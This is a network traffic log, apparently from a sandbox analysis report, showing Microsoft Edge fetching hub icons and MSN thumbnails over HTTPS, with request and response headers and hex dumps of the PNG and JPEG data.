2024-11-13 13:41:33 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.7	49895	13.107.246.57	443	7948	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:33 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-13 13:41:33 UTC	536	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:33 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: 794c108b-001e-000a-0ab4-2e718e000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241113T134133Z-16547b76f7f67wxlhC1DFWah9w0000000h6000000000agm5 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-13 13:41:33 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.7	49894	13.107.246.57	443	7948	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:33 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-13 13:41:33 UTC	536	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 13:41:33 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: 19db0411-001e-0028-5172-2c1fb8000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241113T134133Z-16547b76f7fnlcwwhC1DFWz6gw0000000ha000000000aqen Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 13:41:33 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.7	49898	104.117.247.123	443	7948	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:33 UTC	634	OUT	GET /tenant/amp/entityid/BB1msBaE.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-13 13:41:33 UTC	519	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msBaE Last-Modified: Fri, 01 Nov 2024 13:37:48 GMT X-Source-Length: 57629 X-Datacenter: eastus X-ActivityId: b60cd1ab-74a5-433f-a8bd-c2635cba75d6 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 57629 Cache-Control: public, max-age=172540 Expires: Fri, 15 Nov 2024 13:37:13 GMT Date: Wed, 13 Nov 2024 13:41:33 GMT Connection: close
2024-11-13 13:41:33 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-13 13:41:33 UTC	16384	IN	Data Raw: 27 29 59 4d 47 48 cd 8c f2 8f 29 a8 04 63 94 aa 34 19 2d 59 e5 1d 1a a4 51 2d 18 50 f2 9b 50 eb 80 b1 86 51 65 3a 29 0e 91 ab 66 9c f9 50 f2 9b d0 b2 8b 65 96 50 ca 69 94 74 56 59 0d 1a d0 b2 a0 24 74 3a a1 95 9b 2a 0a 2a 87 40 4d 0c b1 d2 08 81 d1 74 3a 09 6c e8 74 69 43 a0 96 ce 82 8d 68 28 23 2a 1d 33 51 e0 0b 65 43 a3 4a 45 50 4b 65 94 32 9b 50 50 4b 65 94 28 d6 87 40 65 41 46 b4 14 82 5b 2a 1d 1a 50 50 2d 03 2e 82 82 20 65 50 e8 09 15 71 2e 82 8a 26 8a a2 a8 64 44 57 12 b0 18 14 01 e4 14 19 57 20 87 95 70 0c 8b 72 3c 1f 8c f7 0d 5e fb dd 94 34 65 28 c9 4a da b6 94 97 27 5e 67 c2 ff 00 ed ff 00 8a 29 56 79 45 57 e2 4e 6f fe 9c 4b 18 f7 cd 26 bd d0 fd 67 c3 e0 2c 9c 19 f3 7f 03 ee 1d f3 ba 43 51 77 9e f3 a9 a8 9e 5c 91 ff 00 31 e5 db 6f e6 4b 6e 18 23 Data Ascii: ')YMGH)c4-YQ-PPQe:)fPePitVY$t:*@Mt:ltiCh(#3QeCJEPKe2PPKe(@eAF[*PP-. ePq.&dDWW pr<^4e(J'^g)VyEWNoK&g,CQw\1oKn#
2024-11-13 13:41:33 UTC	2996	IN	Data Raw: ed 25 bc b5 f0 98 ed 7a 53 d2 9e f9 c3 5e 3a 91 7d 53 6a 5d a7 26 af c2 15 e3 de 65 1e 32 d2 9b 58 ff 00 f6 e5 23 d3 fd 56 a4 24 94 fb bf 87 8a f9 65 9f 49 f5 3a 94 1f 9a 3a 5f 7b 8d a4 d6 ba be 59 66 97 94 bd c5 b9 85 b9 7c bf f2 9d 48 ab d2 ef 3d db 53 6a ac 74 e7 d5 e2 a5 eb 1c 7e 11 df 1a bc 9d 19 64 a5 ff 00 4c f6 75 1f 4b fa 8e eb a8 f2 be f1 06 f7 c3 51 34 fa d5 57 45 9b 78 31 92 4e 14 f7 5c 64 e9 79 48 b9 c8 f9 39 7c 1f be 57 cd a1 38 e1 b5 4e 3d aa 4e 2c c2 5f 0a ef 58 e5 c7 2e 2e 29 49 cd 75 28 e3 d3 1b 3e c2 5a 3a a9 52 d5 d7 ac 55 49 ad 55 d3 f3 de 3c 8e 5d 4e eb de 24 97 f9 b1 96 0b f1 c2 49 a7 cd 3d 39 41 ae 8c 50 ce 77 5f 27 e5 76 06 7d 81 7c 4f bd f3 b4 19 95 85 81 a8 cc ac 76 06 83 32 b6 17 c4 9a 8d 40 ca c7 98 8d 35 f2 0b 31 b1 e6 e0 29 Data Ascii: %zS^:}Sj]&e2X#V$eI::_{Yf\|H=Sjt~dLuKQ4WEx1N\dyH9\|W8N=N,_X..)Iu(>Z:RUIU<]N$I=9APw_'v}\|Ov2@51)
2024-11-13 13:41:33 UTC	16384	IN	Data Raw: 30 d6 4d ed f0 2b 37 41 cd 9e 1c 58 f3 c7 93 33 5d 1a be ae 9b e2 3b e2 8c 2f 87 98 ad f0 25 35 12 ea 4e c7 d5 da 73 60 5a ae 4c cb a4 36 5d 0b cc bc 7d 15 e6 61 4f 90 2c 0c cc 35 0e 8b e0 83 37 41 95 c7 88 b3 11 a7 4d f4 15 6b d2 f5 9c 79 ba 4d 13 5c 7c 89 50 b6 e8 ce ba 43 3f 57 91 9d 8a f8 31 43 a5 49 f0 2b 33 e0 73 76 06 63 2a eb cd c1 14 9a 7b 91 c9 98 9f 12 b7 12 96 dd fe 44 b9 61 b0 e4 5a a8 5e 32 dc 31 94 b8 7e 6b f1 df 88 77 a8 f7 fd 5d 29 4a 4a 3a 74 a3 17 8c 7f 0e da df 77 b6 cf 95 7a fa 8f 7f 46 ef 51 f6 1f c5 1a 5d de f4 f5 15 ad 69 5d f2 71 e3 c6 f6 1f 09 19 49 3b 47 d1 1e cf 33 f2 69 ce 75 b7 63 ef 1a 91 54 9b e7 b7 69 1f a8 94 9e 2d f5 b3 29 73 66 78 3d b8 1a 72 6b 2d 47 2d e2 f1 27 ce bb 08 49 6e 0c 78 06 54 e6 df 36 2b bd 8c 91 f6 80 f1 Data Ascii: 0M+7AX3];/%5Ns`ZL6]}aO,57AMkyM\\|PC?W1CI+3svc*{DaZ^21~kw])JJ:twzFQ]i]qI;G3iucTi-)sfx=rk-G-'InxT6+
2024-11-13 13:41:33 UTC	6000	IN	Data Raw: 4b a4 d1 38 7f 57 42 ae d3 9b e5 e0 8a f9 96 c6 9f 40 2d be 75 b9 45 74 ed f3 1a 97 27 25 c1 6c 39 f3 3d e9 be b2 d2 bc 63 78 11 ab 6d e2 fd 9e d2 fc 47 e8 2f ae b3 0e 99 27 cf 02 a3 28 6c 4e b8 3d 9d a6 5a 89 9d db f8 f2 e4 bc 87 e2 3a fc 2b d6 65 9b 76 1d 5b 0d 54 56 da 71 ea f6 19 d3 66 ae 77 96 6d af 46 ba da 34 52 7b a4 83 2d f2 64 34 96 ef 6a 0b ac 35 cd 2d fe 63 8b bd fe f3 25 26 b6 7c cb 93 f9 58 fc 58 ef 8d 74 92 96 e3 76 f4 f7 7a ca cb 33 9b c4 8f a4 d7 42 d8 5e 77 58 36 fb 2c 94 d4 4c 4b 6a ad b6 bc d1 6b 8c af b4 c1 6a ca 5b 53 f3 7e f1 a7 66 5a 37 b5 e1 bb 67 3e 22 a5 96 ee b8 2b f6 0b d5 d6 35 24 f7 f6 01 35 71 aa 5d 7b 7b 0d 71 df 5f 5c 99 2b 1d ff 00 7f 60 3b 58 5a fa e2 80 b7 5c 9d f6 19 38 c6 f0 b4 f9 ad 80 e4 d2 c7 67 4e cf 30 bb e4 ca Data Ascii: K8WB@-uEt'%l9=cxmG/'(lN=Z:+ev[TVqfwmF4R{-d4j5-c%&\|XXtvz3B^wX6,LKjkj[S~fZ7g>"+5$5q]{{q_\+`;XZ\8gN0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.7	49897	104.117.247.123	443	7948	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:33 UTC	634	OUT	GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-13 13:41:33 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA13Q6AL Last-Modified: Sat, 02 Nov 2024 16:15:34 GMT X-Source-Length: 1658 X-Datacenter: eastus X-ActivityId: ea0e57a3-5607-4c33-987a-1fb59e967af8 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 1658 Cache-Control: public, max-age=268423 Expires: Sat, 16 Nov 2024 16:15:16 GMT Date: Wed, 13 Nov 2024 13:41:33 GMT Connection: close
2024-11-13 13:41:33 UTC	1658	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 06 2f 49 44 41 54 58 c3 d5 57 7d 6c 14 45 14 7f 33 b3 bb 77 d7 2b a5 e5 a3 48 a9 7c c4 10 82 44 12 25 d8 18 4d 8a 5a 35 11 49 0d d2 26 fc 51 03 c6 04 c3 57 03 25 a0 50 b0 11 21 d4 a4 26 02 51 f0 0b 22 06 12 30 a6 84 18 48 8a 5a 08 22 88 c4 80 80 f6 0f 3e 5a 01 11 90 c2 41 da bb 9d dd 19 df cc ee 6d f7 bc 83 16 89 31 ee e5 dd 9b 9d db 9d df ef fd de bc b7 7b 00 ff f1 41 ee f6 86 8d 0d 17 f3 be ed 3c bf 2d 61 d1 32 37 6a 15 09 d3 e0 c4 20 27 a4 41 b7 44 fb f7 db b4 6b 56 49 d7 bf 42 a0 a1 41 d2 a1 a2 e3 a5 7d 7f b6 6f 3a 2f ec b8 99 df 1f 68 3c 0f 88 45 01 0c 0a 04 4d 32 72 81 30 da 50 50 3c 6a d3 8e Data Ascii: PNGIHDR szzbKGD/IDATXW}lE3w+H\|D%MZ5I&QW%P!&Q"0HZ">ZAm1{A<-a27j 'ADkVIBA}o:/h<EM2r0PP<j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.7	49900	104.117.247.123	443	7948	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:33 UTC	633	OUT	GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-13 13:41:33 UTC	515	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Thu, 07 Nov 2024 01:31:10 GMT X-Datacenter: eastus X-ActivityId: c62b896e-0318-4a4b-9fe6-25e6c1dee8b4 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAc9vHK X-Source-Length: 1218 Content-Length: 1218 Cache-Control: public, max-age=258650 Expires: Sat, 16 Nov 2024 13:32:23 GMT Date: Wed, 13 Nov 2024 13:41:33 GMT Connection: close
2024-11-13 13:41:33 UTC	1218	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 71 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 31 34 20 37 39 2e 31 35 31 34 38 31 2c 20 32 30 31 33 2f 30 33 2f 31 33 2d 31 32 3a 30 39 3a 31 35 20 20 Data Ascii: PNGIHDR szztEXtSoftwareAdobe ImageReadyqe<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.7	49901	104.117.247.123	443	7948	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:33 UTC	634	OUT	GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-13 13:41:33 UTC	517	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1lFz6G Last-Modified: Thu, 22 Aug 2024 19:49:06 GMT X-Source-Length: 5699 X-Datacenter: northeu X-ActivityId: 568c32c2-4fc6-43fd-b83e-f4c0fb930684 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 5699 Cache-Control: public, max-age=283689 Expires: Sat, 16 Nov 2024 20:29:42 GMT Date: Wed, 13 Nov 2024 13:41:33 GMT Connection: close
2024-11-13 13:41:33 UTC	5699	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 84 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 05 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 4a 01 1b 00 05 00 00 00 01 00 00 00 52 01 28 00 03 00 00 00 01 00 02 00 00 87 69 00 04 00 00 00 01 00 00 00 5a 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 32 a0 03 00 04 00 00 00 01 00 00 00 32 00 00 00 00 86 f1 c2 a8 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 Data Ascii: PNGIHDR22?gAMAa cHRMz&u0`:pQ<eXIfMM*JR(iZHH22pHYs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.7	49902	104.117.247.123	443	7948	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:33 UTC	634	OUT	GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-13 13:41:33 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sat, 26 Oct 2024 13:08:49 GMT X-Datacenter: westus X-ActivityId: f9118471-d63a-4ae1-a8c4-33a84d8a076d Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1hk7Sh X-Source-Length: 6962 Content-Length: 6962 Cache-Control: public, max-age=429925 Expires: Mon, 18 Nov 2024 13:06:58 GMT Date: Wed, 13 Nov 2024 13:41:33 GMT Connection: close
2024-11-13 13:41:33 UTC	6962	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 0c 3f 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 84 12 40 40 4a e8 4d 10 a9 01 a4 84 d0 42 ef 08 36 42 12 20 94 18 03 41 c5 8e 2e 2a b8 76 b1 80 0d 5d 15 51 b0 02 62 47 ec 2c 8a bd 2f 16 54 94 75 b1 60 57 de a4 80 ae fb ca f7 e6 fb e6 ce 7f ff 39 f3 9f 33 e7 ce dc 7b 07 00 8d e3 3c 89 24 0f d5 04 20 5f 5c 28 8d 0f 0d 64 8e 4a 4d 63 92 9e 02 0c d0 01 15 38 01 4b 1e bf 40 c2 8e 8d 8d 04 b0 0c b4 7f 2f ef ae 03 44 de 5e 71 94 6b fd b3 ff bf 16 2d 81 b0 80 0f 00 12 0b 71 86 a0 80 9f 0f f1 7e 00 f0 2a be 44 5a 08 00 51 ce 5b 4c 2a 94 c8 31 ac 40 47 0a 03 84 78 be 1c 67 29 71 95 1c 67 28 f1 6e 85 4d 62 3c 07 Data Ascii: PNGIHDR22??iCCPICC ProfileHWXS[@@JMB6B A.v]QbG,/Tu`W93{<$ _\(dJMc8K@/D^qk-q~DZQ[L*1@Gxg)qg(nMb<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.7	49899	104.117.247.123	443	7948	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 13:41:33 UTC	634	OUT	GET /tenant/amp/entityid/AA1t99ka.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
